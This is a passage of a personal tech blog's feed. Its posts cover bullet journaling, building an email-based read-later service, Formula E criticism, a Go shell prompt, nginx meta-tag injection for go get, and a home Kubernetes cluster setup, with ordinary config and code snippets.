<p>That said, I wasn&rsquo;t entirely opposed to digital solutions. I tried
a method called the OBTF, or the One Big Text File. It&rsquo;s what it says on
the tin: a single text file to manage everything&mdash;tasks, email,
meetings, notes, habit tracking, etc. Its effectiveness relies on your
text editor&rsquo;s ability to search for things. I even came up with my own
&ldquo;syntax&rdquo; to help accelerate finding relevant bits. It looked like so:</p>

<pre><code>wed, 03 nov

some task here // DONE
another task here
a note here
meet foo @ 12:30 // CANCELLED
</code></pre>

<p>I don&rsquo;t exactly recall why I stopped doing it, but I did. Maybe because
I tried to do way too many things all at once. It also meant I needed to
be at my computer to update tasks&mdash;some of which were offline/IRL.
Yeah, you can see where this is going. You probably guessed it from the
post slug. That&rsquo;s right&mdash;bullet journaling. Well, sort of&mdash;let me
explain.</p>

<p>The <a href="https://youtu.be/fm15cmYU0IM" rel="nofollow">bullet journal method</a> is a somewhat
involved process. I recommend watching the video since I&rsquo;m going to skip
explaining how bullet journaling works. The method I use draws
inspiration from bullet journaling&mdash;but just mostly the task symbols
and daily/weekly logs. These are the symbols I use:</p>

<ul>
<li><code>•</code> is a new task</li>
<li><code>×</code> is a completed task</li>
<li><code>&gt;</code> is a task that&rsquo;s been carried forward</li>
<li><code>~strikethrough~</code> is a cancelled task</li>
<li><code>-</code> represents a note</li>
</ul>

<p>And somewhat less commonly, <code>⊙</code> (a circled dot) to scribble a small note
pertaining to that task, i.e. reason for cancellation, delegation, etc.
Tasks are sometimes broken down into further subtasks represented as a
checkbox <code>□</code>. Ticking off a checkbox feels great.</p>

<p>Tasks are grouped under a weekly list, running from Monday to Sunday. I
had previously done daily lists, but that&hellip; didn&rsquo;t really work out.
Here&rsquo;s what happened:</p>

<pre><code>mon, 01 nov
&gt; long task here
× something else

tue, 02 nov
&gt; long task here

wed, 03 nov
&gt; long task here

...
</code></pre>

<p>See the problem? Most often, my tasks tend to span an entire week. While
I could theoretically break it down into subtasks, stuff like &ldquo;Write an
RFC for Foo Service&rdquo; are just that. It&rsquo;s a big task, and I can&rsquo;t really
break it down. Hence, the running weekly log.</p>

<p>I can&rsquo;t go without posting what it actually looks like in my notebook;
so here, have a FOIA-declassified-looking picture of my bullet journal.</p>

<p><img src="https://cdn.icyphox.sh/QzrdK.jpeg" alt="bullet journal" /></p>

<p>This was when I first attempted the weekly log. Evidently, I struggled
to compute dates accurately. And yes, &ldquo;rice acme&rdquo; was a task&mdash;one
that I promptly completed, I&rsquo;ll have you know.</p>

<p>I use a pencil to write. There&rsquo;s no real reason for it, but I started
the book with a pencil and I plan to continue with it until I finsh this
notebook&mdash;there&rsquo;s still about half of it left. I plan to cop a dotgrid
notebook for my next one, and start using a pen.</p>

<p><img src="https://cdn.icyphox.sh/0psb8.jpeg" alt="notebook with sticker" /></p>

<p>At first I was sceptical. I didn&rsquo;t think I&rsquo;d stick to it. But hey, looks
like I did. I&rsquo;ve been using my bullet journal spinoff method to great
success for the past 6-odd months. Have I become more productive? I
don&rsquo;t know, but I can confidently state that my head has become
&ldquo;lighter&rdquo;. I no longer have to <em>remember</em> tasks; I can simply offload
them to my journal.</p>

<p>I think the key to making it work was the realization that it&rsquo;s not
&ldquo;perfect&rdquo;. I put perfect in quotes because I had this notion of an
all-in-one, flawless productivity tool that&rsquo;ll take care of everything,
from anywhere. I then embraced the fact that some tasks don&rsquo;t really
need noting down and it&rsquo;s ok to <em>not follow the rules</em>. I guess what I&rsquo;m
trying to say is&mdash;don&rsquo;t force it; use the journal loosely.</p>

<p>No self-help-productivity-bullshit-post is complete without a list of
tips, so here it is:</p>

<ul>
<li>Make it your own. Don&rsquo;t attempt to shoehorn someone else&rsquo;s solution.</li>
<li>Don&rsquo;t try to manage everything&mdash;that hardly ever works.</li>
<li>Don&rsquo;t over optimize. Task states don&rsquo;t need 20 different symbols. Keep
it simple.</li>
<li>It doesn&rsquo;t have to be an art project<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>. I know mine isn&rsquo;t. Keep it
functional.</li>
</ul>

<p>Okay, this self-help-productivity-bullshit-post is now complete.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1">In case you didn&rsquo;t, I&rsquo;m talking about Superhuman. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2"><p>I&rsquo;m looking at you,
<a href="https://old.reddit.com/r/bulletjournal" rel="nofollow">r/bulletjournal</a>.</p> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>How I built forlater.email</title>
|
||
<updated>2021-09-25T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-09-25:blog/building-forlater</id>
|
||
<link href="https://icyphox.sh/blog/building-forlater"></link>
|
||
<summary type="html"><h2>A technical breakdown of my first big side-project</h2>
<p>Ever since I began browsing sites like Hacker News and Lobsters, coming
across new and exciting links to check out every day, I found it hard to
keep up. On most days, I just didn&rsquo;t. And that&rsquo;s fine&mdash;<a href="/blog/dont-news">good,
even</a>. But oftentimes, I&rsquo;d come across a genuinely
interesting link but no time to actually read it.</p>

<p>I began using Pocket. It was alright&mdash;the article view was very good;
but it stopped there. I didn&rsquo;t like nor use the other junk baked into
the app: discover, following/friends thing, etc. It&rsquo;s also proprietary,
and that irked me&mdash;more so than the other &ldquo;features&rdquo;.</p>

<p>Thus, somewhat inspired by rss2email, I began building
<a href="https://forlater.email" rel="nofollow">forlater.email</a>&mdash;a bookmarking/read-later
service that works via email. Email is the perfect tool for this
use-case: works offline; you can organize it however you like; you own
your data.</p>

<p><img src="https://cdn.icyphox.sh/JNAn4.png" alt="forlater arch" /></p>

<p>Pictured above is how forlater works. Each component is explained below.</p>

<h2 id="opensmtpd">OpenSMTPD</h2>

<p>Mail containing links to be saved arrive here. OpenSMTPD is beautiful
software, and its configuration is stupid simple
(<a href="https://man.openbsd.org/smtpd.conf" rel="nofollow">smtpd.conf(5)</a>):</p>

<pre><code class="language-conf">table blocklist file:/etc/smtpd/blocklist

action webhook mda &quot;/home/icy/forlater/mdawh/mdawh&quot;
match mail-from &lt;blocklist&gt; for any reject
match from any for rcpt-to &quot;save@forlater.email&quot; action webhook
</code></pre>

<p>The <code>filter</code> and <code>listen</code> directives have been snipped for brevity. The
rest, in essence, simply sends all mail to <code>save@forlater.email</code> to an
MDA program, via stdin. Any mail from an address in the blocklist file
get rejected.</p>

<p><a href="https://rspamd.com" rel="nofollow">rspamd</a> is used to prevent spam.</p>

<h2 id="mdawh">mdawh</h2>

<p><a href="https://git.icyphox.sh/forlater/mdawh" rel="nofollow">mdawh</a>, or the MDA webhook tool.
A small Go program that processes mail coming from stdin and generates a
JSON payload that looks like so:</p>

<pre><code class="language-json">{
 &quot;from&quot;: &quot;foo@bar.com&quot;,
 &quot;date&quot;: &quot;Fri, 1 Jan 2010 00:00:00 UTC&quot;,
 &quot;replyto&quot;: &quot;...&quot;,
 &quot;body&quot;: &quot;...&quot;,
 &quot;parts&quot;: {
 &quot;text/plain&quot;: &quot;...&quot;,
 &quot;text/html&quot;: &quot;...&quot;,
 }
}
</code></pre>

<p>This is POSTed to a configured HTTP endpoint&mdash;which in this case, is
navani.</p>

<h2 id="navani">navani</h2>

<p><a href="https://git.icyphox.sh/forlater/navani" rel="nofollow">navani</a> is forlater&rsquo;s primary
mail processing service<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. Listens for webhooks from mdawh, processes
them, and sends mail using a configured SMTP server. URLs are cached in
Redis along with the HTML content.</p>

<p>For the readable HTML,
<a href="https://github.com/go-shiori/go-readability" rel="nofollow">go-readability</a> is used;
the output of which is rendered into a minimal <a href="https://git.icyphox.sh/forlater/navani/tree/templates/html.tpl" rel="nofollow">HTML email
template</a>
-- something that I never want to write again.</p>

<p>The plaintext part is currently generated using <code>lynx -image_links -dump
-stdin</code>. The <code>-image_links</code> flag is handy because it generates footnote
links for images as well, instead of simply ignoring images altogether.
I plan to rewrite this; possibly using a blend of HTML-to-plaintext
libraries and handwritten rules.</p>

<h2 id="future-improvements">future improvements</h2>

<p>I plan to implement some kind of <code>settings@</code> address to configure and
store user settings (dark theme? fonts?). However, this introduces state
in an otherwise mostly stateless system.</p>

<p>The other thing I&rsquo;ve been thinking of is making your own newsletter of
sorts. For example: save a bunch of links during the week, and have them
all delivered over the weekend.</p>

<p>Neither of these &ldquo;features&rdquo; are confirmed to happen, primarily because
forlater is feature-complete for my use. That said, I&rsquo;m happy to
consider any improvements or suggestions that you might have&mdash;please
<a href="mailto:x@icyphox.sh" rel="nofollow">email me</a>.</p>

<p>Finally, thanks to everyone who tossed a few bucks my way&mdash;mighty kind
of you.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1">Named after <a href="https://coppermind.net/wiki/Navani_Kholin" rel="nofollow">Navani Kholin</a>. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Launching forlater.email</title>
|
||
<updated>2021-09-17T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-09-17:blog/forlater</id>
|
||
<link href="https://icyphox.sh/blog/forlater"></link>
|
||
<summary type="html"><h2>An email-based bookmarking service</h2>
<p>This is a shill post. I&rsquo;m launching my new side-project:
<a href="https://forlater.email" rel="nofollow">https://forlater.email</a>. It&rsquo;s an email-based bookmarking service&mdash;you
send an email to <code>save@forlater.email</code>, get a readable, clutter-free
version of it back.</p>

<p>I&rsquo;ll write a more technical post on how I built it; this weekend
perhaps. Until then, go try it!</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>I can't take Formula E seriously</title>
|
||
<updated>2021-08-16T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-08-16:blog/formula-e</id>
|
||
<link href="https://icyphox.sh/blog/formula-e"></link>
|
||
<summary type="html"><h2>Toy cars racing in parking lots</h2>
<p>For those unaware, <a href="https://en.wikipedia.org/wiki/Formula_E" rel="nofollow">Formula E</a>,
or rather, the ABB FIA Formula E World Championship<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> is the only
fully electric open-wheel racing sanctioned by the FIA. The first season
was in 2014 - 2015. 7 years later, it&rsquo;s just as bad as before.</p>

<p>Formula E was supposed to be this new, revolutionary motorsport set to
eventually replace Formula 1&mdash;or at the very least, compete alongside.
It was supposed to be where teams could experiment; build better, more
eco-friendly tech that can eventually find its way into road cars.
Except&hellip;the FIA made it a spec series.</p>

<p>This means all cars are basically identical&mdash;conforming to a
predefined spec. While there&rsquo;s nothing wrong with spec series racing&mdash;Formula 2, IndyCar, etc. are still incredibly exciting&mdash;it&rsquo;s just not
something you want in something like Formula E, where technical
development is key. Further, the whole emphasis on &ldquo;road relevancy&rdquo; is
kind of a meme when there&rsquo;s no engineering freedom given to
constructors.</p>

<p>No bother, at least the racing should be fun, right? They travel to cool
cities and race on streets! Yeah&hellip;not really. Thing is, FE cars are
slow. And to compensate this, they made tracks really narrow, with
stupidly high barriers. There&rsquo;s no point in going to cool cities when
you can&rsquo;t really see much of it. All tracks look the same: utterly
soulless.</p>

<p>And it doesn&rsquo;t end there. Formula E is gimmicky as hell. Like F1&rsquo;s
DRS<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>, FE&rsquo;s got &ldquo;Attack mode&rdquo;. Essentially, drivers recieve extra
power by driving through a part of the track that&rsquo;s off the racing line.
This is like, some NFS tier shit. But OK, I&rsquo;ll give it a pass&mdash;it&rsquo;s
cringe, but it does allow for some good overtaking.</p>

<p>&ldquo;Fanboost&rdquo;, however&hellip;Hoo boy. Basically, fans get to vote for their
favourite drivers via social media, and the five drivers that win the
vote each recieve extra power during the race. Yup. You read that right.
They made a World Championship racing series a social media popularity
contest.</p>

<p><img src="https://cdn.icyphox.sh/VOodw.png" alt="formula e broadcast" /></p>

<p>My last gripe is with the broadcast. It&rsquo;s so bad! They really should
lose the gamer graphics. The driver list on the left is not color coded
making it really hard to read. You have no idea who&rsquo;s who if you&rsquo;re new.
And try and make the circuits look a little more interesting! I honestly
couldn&rsquo;t tell you the difference between, say, the London and Berlin
circuits.</p>

<p>All things said, I will still watch Formula E&mdash;at least, the
highlights. Watching bumper cars is somewhat fun when there&rsquo;s no F1
going on.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><p>Which just ended, as of August 2021. It was also the first World
Championship; the ones before weren&rsquo;t.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2"><a href="https://en.wikipedia.org/wiki/Drag_reduction_system" rel="nofollow">https://en.wikipedia.org/wiki/Drag_reduction_system</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Writing a shell prompt in Go</title>
|
||
<updated>2021-08-12T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-08-12:blog/go-shell-prompt</id>
|
||
<link href="https://icyphox.sh/blog/go-shell-prompt"></link>
|
||
<summary type="html"><h2>Kinda faster than bash</h2>
<p>For context, my bash prompt was previously <a href="https://git.icyphox.sh/dotfiles/tree/bash/.bashrc.d/99-prompt.bash?id=d7b391845abc7e97f2b1b96c34b4b1789b2ab541" rel="nofollow">written in, well,
bash</a>.
It used to call out to <code>git</code> for getting the branch and worktree status
info. Parsing the output of <code>git status</code> and all that. It was ok, but I
wanted something &hellip; cleaner.</p>

<p>I chose Go, despite having written
<a href="https://github.com/icyphox/nicy" rel="nofollow">nicy</a> in Nim<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>; I&rsquo;m in a Go-phase right
now, just like I was in a Nim-phase back in 2018. Anyway, let&rsquo;s cut to
the chase.</p>

<h2 id="the-basics">the basics</h2>

<p>The current working directory is the bare minimum in a prompt. I prefer
having it shortened; for example: <code>/home/icy/docs/books/foo.epub</code> →
<code>~/d/b/foo.epub</code>. Let&rsquo;s write a function <code>trimPath</code> to do this for us:</p>

<pre><code class="language-go">// Truncates the current working directory:
// /home/icy/foo/bar -&gt; ~/f/bar
func trimPath(cwd, home string) string {
	var path string
	if strings.HasPrefix(cwd, home) {
		path = &quot;~&quot; + strings.TrimPrefix(cwd, home)
	} else {
		// If path doesn't contain $HOME, return the
		// entire path as is.
		path = cwd
		return path
	}
	items := strings.Split(path, &quot;/&quot;)
	truncItems := []string{}
	for i, item := range items {
		if i == (len(items) - 1) {
			truncItems = append(truncItems, item)
			break
		}
		truncItems = append(truncItems, item[:1])
	}
	return filepath.Join(truncItems...)
}
</code></pre>

<p><code>trimPath</code> takes two args: the current working directory <code>cwd</code>, and the
home directory <code>home</code>. We first check if <code>cwd</code> starts with <code>home</code>, i.e.
we&rsquo;re in a subdirectory of <code>home</code>; if yes, trim <code>home</code> from <code>cwd</code>, and
replace it with a tilde <code>~</code>. We now have <code>~/docs/books/foo.epub</code>.</p>

<p>Also note that we return the path as-is if we&rsquo;re not in a subdir of
<code>home</code>&mdash;i.e. paths under <code>/</code>, like <code>/usr</code>, etc. I like to see these
completely, just to be sure.</p>

<p>We then split the path at <code>/</code><sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>, and truncate each item in the
resulting list&mdash;except for the last&mdash;down to the first character.
Join it all together and return the resulting string&mdash;we have
<code>~/d/b/foo.epub</code>.</p>

<p>Next up: color.</p>

<pre><code class="language-go">var (
	red = color(&quot;\033[31m%s\033[0m&quot;)
	green = color(&quot;\033[32m%s\033[0m&quot;)
	cyan = color(&quot;\033[36m%s\033[0m&quot;)
)

func color(s string) func(...interface{}) string {
	return func(args ...interface{}) string {
		return fmt.Sprintf(s, fmt.Sprint(args...))
	}
}
</code></pre>

<p>&hellip; I&rsquo;ll just let you figure this one out.</p>

<h2 id="git-branch-and-clean-dirty-info">git branch and clean/dirty info</h2>

<p>The defacto lib for git in Go is often
<a href="https://github.com/go-git/go-git" rel="nofollow">go-git</a>. I don&rsquo;t disagree that it is
a good library: clean APIs, good docs. It just has one huge issue, and
especially so in our case. It&rsquo;s <code>worktree.Status()</code> function&mdash;used to
fetch the worktree status&mdash;is <a href="https://github.com/go-git/go-git/issues/327" rel="nofollow">awfully
slow</a>. It&rsquo;s not noticeable
in small repositories, but even relatively large ones (~30MB) tend to
take about 20 seconds. That&rsquo;s super not ideal for a prompt.<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup></p>

<p>The alternative? <a href="https://github.com/libgit2/git2go" rel="nofollow">libgit2/git2go</a>, of
course! It&rsquo;s the Go bindings for libgit2&mdash;obviously, it requires CGo,
but who cares.</p>

<p>First things first, let&rsquo;s write <code>getGitDir</code> to find <code>.git</code> (indicating
that it&rsquo;s a git repo), and return the repository path. We&rsquo;ll need this
to use git2go&rsquo;s <code>OpenRepository()</code>.</p>

<pre><code class="language-go">// Recursively traverse up until we find .git
// and return the git repo path.
func getGitDir() string {
	cwd, _ := os.Getwd()
	for {
		dirs, _ := os.ReadDir(cwd)
		for _, d := range dirs {
			if &quot;.git&quot; == d.Name() {
				return cwd
			} else if cwd == &quot;/&quot; {
				return &quot;&quot;
			}
		}
		cwd = filepath.Dir(cwd)
	}
}
</code></pre>

<p>This traverses up parent directories until it finds <code>.git</code>, else,
returns an empty string if we&rsquo;ve reached <code>/</code>. For example: if you&rsquo;re in
<code>~/code/foo/bar</code>, and the git repo root is at <code>~/code/foo/.git</code>, this
function will find it.</p>

<p>Alright, let&rsquo;s quickly write two more functions to return the git branch
name, and the repository status&mdash;i.e., dirty or clean.</p>

<pre><code class="language-go">// Returns the current git branch or current ref sha.
func gitBranch(repo *git.Repository) string {
	ref, _ := repo.Head()
	if ref.IsBranch() {
		name, _ := ref.Branch().Name()
		return name
	} else {
		return ref.Target().String()[:7]
	}
}
</code></pre>

<p>This takes a <code>*git.Repository</code>, where <code>git</code> is <code>git2go</code>. We first get
the <code>git.Reference</code> and check whether it&rsquo;s a branch. If yes, return the
name of the branch, else&mdash;like in the case of a detached HEAD state&mdash;we just return a short hash.</p>

<pre><code class="language-go">// Returns • if clean, else ×.
func gitStatus(repo *git.Repository) string {
	sl, _ := repo.StatusList(&amp;git.StatusOptions{
		Show: git.StatusShowIndexAndWorkdir,
		Flags: git.StatusOptIncludeUntracked,
	})
	n, _ := sl.EntryCount()
	if n != 0 {
		return red(&quot;×&quot;)
	} else {
		return green(&quot;•&quot;)
	}
}
</code></pre>

<p>We use the
<a href="https://godocs.io/github.com/libgit2/git2go/v31#Repository.StatusList" rel="nofollow"><code>StatusList</code></a>
function to produce a <code>StatusList</code> object. We then check the
<code>EntryCount</code>, i.e., the number of modified/untracked/etc. files
contained in <code>StatusList</code>.<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> If this number is 0, our repo is clean;
dirty otherwise. Colored symbols are returned accordingly.</p>

<h2 id="putting-it-all-together">putting it all together</h2>

<p>Home stretch. Let&rsquo;s write <code>makePrompt</code> to make our prompt.</p>

<pre><code class="language-go">const (
	promptSym = &quot;▲&quot;
)

func makePrompt() string {
	cwd, _ := os.Getwd()
	home := os.Getenv(&quot;HOME&quot;)
	gitDir := getGitDir()
	if len(gitDir) &gt; 0 {
		repo, _ := git.OpenRepository(getGitDir())
		return fmt.Sprintf(
			&quot;\n%s (%s %s)\n%s&quot;,
			cyan(trimPath(cwd, home)),
			gitBranch(repo),
			gitStatus(repo),
			promptSym,
		)
	}
	return fmt.Sprintf(
		&quot;\n%s\n%s&quot;,
		cyan(trimPath(cwd, home)),
		promptSym,
	)
}

func main() {
	fmt.Println(makePrompt())
}
</code></pre>

<p>There isn&rsquo;t much going on here. Get the necessary pieces like the
current working directory, home and the git repo path. We return the
formatted prompt string according to whether we&rsquo;re in git or not.</p>

<p>Setting the prompt is simple. Point <code>PS1</code> to the built binary:</p>

<pre><code class="language-bash">PS1='$(~/dotfiles/prompt/prompt) '
</code></pre>

<p>And here&rsquo;s what it looks like, rendered:
<img src="https://cdn.icyphox.sh/boh7u.png" alt="go prompt" /></p>

<h2 id="benchmarking">benchmarking</h2>

<p>Both &ldquo;benchmarks&rdquo; were run inside a sufficiently large git repository,
deep inside many subdirs.</p>

<p>To time the old bash prompt, I just copied all the bash functions,
pasted it in my shell and ran:</p>

<pre><code class="language-shell">~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲ time echo -e &quot;\n$(prompt_pwd)$(git_branch)\n▲$(rootornot)&quot;

# output
~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲

real 0m0.125s
user 0m0.046s
sys 0m0.079s

</code></pre>

<p>0.125s. Not too bad. Let&rsquo;s see how long our Go prompt takes.</p>

<pre><code class="language-shell">~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲ time ~/dotfiles/prompt/prompt

# output
~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)
▲

real 0m0.074s
user 0m0.031s
sys 0m0.041s

</code></pre>

<p>0.074s! That&rsquo;s pretty fast. I ran these tests a few more times, and the
bash version was consistently slower&mdash;averaging ~0.120s; the Go
version averaging ~0.70s. That&rsquo;s a win.</p>

<p>You can find the entire source <a href="https://git.icyphox.sh/dotfiles/tree/prompt" rel="nofollow">here</a>.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><p>It&rsquo;s a prompt &ldquo;framework&rdquo; thing that I actually only used for a
 month or so.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">I don&rsquo;t care about Windows. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><a href="https://git.icyphox.sh/dotfiles/commit/?id=e1f6aaaf6ffd35224b5d3f057c28fb2560e1c3b0" rel="nofollow">https://git.icyphox.sh/dotfiles/commit/?id=e1f6aaaf6ffd35224b5d3f057c28fb2560e1c3b0</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:4"><p>This took me a lot of going back and forth, and reading
 <a href="https://libgit2.org/libgit2/ex/HEAD/status.html" rel="nofollow">https://libgit2.org/libgit2/ex/HEAD/status.html</a> to figure out.</p> <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Make cgit go gettable</title>
|
||
<updated>2021-07-14T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-07-14:blog/go-get-cgit</id>
|
||
<link href="https://icyphox.sh/blog/go-get-cgit"></link>
|
||
<summary type="html"><h2>go get git.icyphox.sh/* works!</h2>
<p><code>go get</code> requires the presence of the <code>go-import</code> meta tag<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> on the
repository&rsquo;s web page. cgit doesn&rsquo;t support it out of the box; instead,
we can make nginx inject it into every page. Enter: <code>sub_filter</code>.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup></p>

<p><code>sub_filter</code> is a function that simply performs a string replace. For
example:</p>

<pre><code class="language-nginx">location / {
 sub_filter '&lt;img src=dog.png&gt;' '&lt;img src=cat.png&gt;';
 sub_filter_once on;
}
</code></pre>

<p>In our case, we want to have the meta tag injected inside <code>&lt;head&gt;</code>.</p>

<pre><code class="language-nginx">server {
 listen 443 ssl;
 server_name git.icyphox.sh;

 location / {
 ...

 sub_filter '&lt;/head&gt;'
 '&lt;meta name=&quot;go-import&quot; content=&quot;$host$uri git https://$host$uri&quot;&gt;&lt;/head&gt;';
 sub_filter_once on;
 }
}
</code></pre>

<p>The closing <code>&lt;/head&gt;</code> tag gets replaced&mdash;injecting the meta tag inside
<code>&lt;head&gt;</code>. This can also be extended to add the <code>go-source</code> meta tag as
well.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://godocs.io/cmd/go#hdr-Remote_import_paths" rel="nofollow">https://godocs.io/cmd/go#hdr-Remote_import_paths</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2"><a href="http://nginx.org/en/docs/http/ngx_http_sub_module.html" rel="nofollow">http://nginx.org/en/docs/http/ngx_http_sub_module.html</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Setting up a multi-arch Kubernetes cluster at home</title>
|
||
<updated>2021-06-19T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-06-19:blog/k8s-at-home</id>
|
||
<link href="https://icyphox.sh/blog/k8s-at-home"></link>
|
||
<summary type="html"><h2>My self-hosted infra, given the cloud native™ treatment</h2>
<p><strong>Update 2021&ndash;07&ndash;11</strong>: It was fun while it lasted. I took down the
cluster today and probably won&rsquo;t go back to using it. It was way too
much maintenance, and Kubernetes really struggles with just 1GB of RAM
on a node. Constant outages, volumes getting corrupted (had to <code>fsck</code>),
etc. Not worth the headache.</p>

<p>I still remember my
<a href="https://lobste.rs/s/kqucr4/unironically_using_kubernetes_for_my#c_kfldyw" rel="nofollow">Lobste.rs</a>
comment, mocking some guy for running Kubernetes for his static blog&mdash;it <em>is</em> my highest voted comment after all. But to be fair, I&rsquo;m not
running mine for a static blog. In fact, I&rsquo;m not even hosting my blog on
the cluster; but I digress. Why did I do this anyway? Simply put: I was
bored. I had a 4 day weekend at work and with nothing better to do to
other than play Valorant, and risk losing my hard earned Bronze 2&mdash;I
decided to setup a K8s cluster. These are the nodes in use:</p>

<ul>
<li><code>fern</code>: Raspberry Pi 4B (armhf, 4GB, 4 cores)</li>
<li><code>jade</code>: Oracle VM (amd64, 1GB, 1 core)</li>
<li><code>leaf</code>: Oracle VM (amd64, 1GB, 1 core)</li>
</ul>

<p>The Oracle machines are the free tier ones. It&rsquo;s great&mdash;two static
public IPs, 50 gigs of boot volume storage on each + up to 100 gigs of
block volume storage. All for free.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> Great for messing around.</p>

<p>Since my RPi is behind a CG-NAT, I&rsquo;m running a Wireguard mesh that looks
something like this:</p>

<p><img src="https://cdn.icyphox.sh/1Xkvh.png" alt="wireguard mesh" /></p>

<p>Wireguard is fairly trivial to set up, and there are tons of guides
online, so I&rsquo;ll skip that bit.</p>

<h2 id="setting-up-the-cluster">setting up the cluster</h2>

<p>I went with plain containerd as the CRI. Built v1.5.7 from source on all
nodes.</p>

<p>I considered running K3s, because it&rsquo;s supposedly &ldquo;lightweight&rdquo;. Except
it&rsquo;s not really vanilla Kubernetes&mdash;it&rsquo;s more of a distribution. It
ships with a bunch of things that I don&rsquo;t really want to use, like
Traefik as the default ingress controller, etc. I know components can be
disabled, but I couldn&rsquo;t be arsed. So, <code>kubeadm</code> it is.</p>

<pre><code>kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.4.2
</code></pre>

<p>Since I&rsquo;m going to be using Flannel as the CNI provider, I set the pod
network CIDR to Flannel&rsquo;s default. We also want the Kube API server to
listen on the Wireguard interface IP, so specify that as well.</p>

<p>Now, the <code>kubelet</code> needs to be configured to use the Wireguard IP, along
with the correct <code>resolv.conf</code> on Ubuntu hosts (managed by
<code>systemd-resolvd</code>)<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>. This can be set via the <code>KUBELET_EXTRA_ARGS</code>
environment variable, in <code>/etc/default/kubelet</code>, for each node:</p>

<pre><code class="language-shell"># /etc/default/kubelet

KUBELET_EXTRA_ARGS=--node-ip=192.168.4.X --resolv-conf=/run/systemd/resolve/resolv.conf
</code></pre>

<p>Nodes can now be <code>kubeadm join</code>ed to the control plane. Next, we setup
the CNI. I went with Flannel because it has multi-arch images, and is
pretty popular. However, we can&rsquo;t just apply Flannel&rsquo;s manifest&mdash;it
must be configured to use the <code>wg0</code> interface. Edit <code>kube-flannel.yaml</code>:</p>

<pre><code class="language-patch">...
 containers:
 - args:
 - --ip-masq
 - --kube-subnet-mgr
+ - --iface=wg0
...
</code></pre>

<p>If everything went well, your nodes should now show as <code>Ready</code>. If not,
well &hellip; have fun figuring out why. Hint: it&rsquo;s almost always networking.</p>

<p>Make sure to un-taint your control plane so pods can be scheduled
on it:</p>

<pre><code>kubectl taint nodes --all node-role.kubernetes.io/master-
</code></pre>

<p>Finally, set the <code>--leader-elect</code> flag to <code>false</code> in your control
plane&rsquo;s
<code>/etc/kubernetes/manifests/kube-{controller-manager,scheduler}.yaml</code>.
Since these are not replicated, leader election is not required. Else,
they attempt a leader election, and for whatever reason&mdash;fail.
Horribly.<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup></p>

<h2 id="getting-the-infrastructure-in-place">getting the infrastructure in place</h2>

<p>The cluster is up, but we need to set up the core components&mdash;ingress
controller, storage, load balancer, provisioning certificates, container
registry, etc.</p>

<h3 id="metallb">MetalLB</h3>

<p>The <code>LoadBalancer</code> service type in Kubernetes will not work in a bare
metal environment&mdash;it actually calls out to the respective cloud
provider&rsquo;s proprietary APIs to provision a load balancer.
<a href="https://metallb.universe.tf/" rel="nofollow">MetalLB</a> solves this by well, providing
an LB implementation that works on bare metal.</p>

<p>In essence, it makes one of your nodes attract all the traffic,
assigning each <code>LoadBalancer</code> service an IP from a configured address
pool (not your node IP). In my case:</p>

<p><img src="https://cdn.icyphox.sh/zuy96.png" alt="jade loadbalancer" /></p>

<p>However, this assumes that our load balancer node has a public IP. Well
it does, but we&rsquo;re still within our Wireguard network. To actually
expose the load balancer, I&rsquo;m running Nginx. This configuration allows
for non-terminating SSL passthrough back to our actual ingress (up
next), and forwarding any other arbitrary port.</p>

<pre><code class="language-nginx">stream {
 upstream ingress443 {
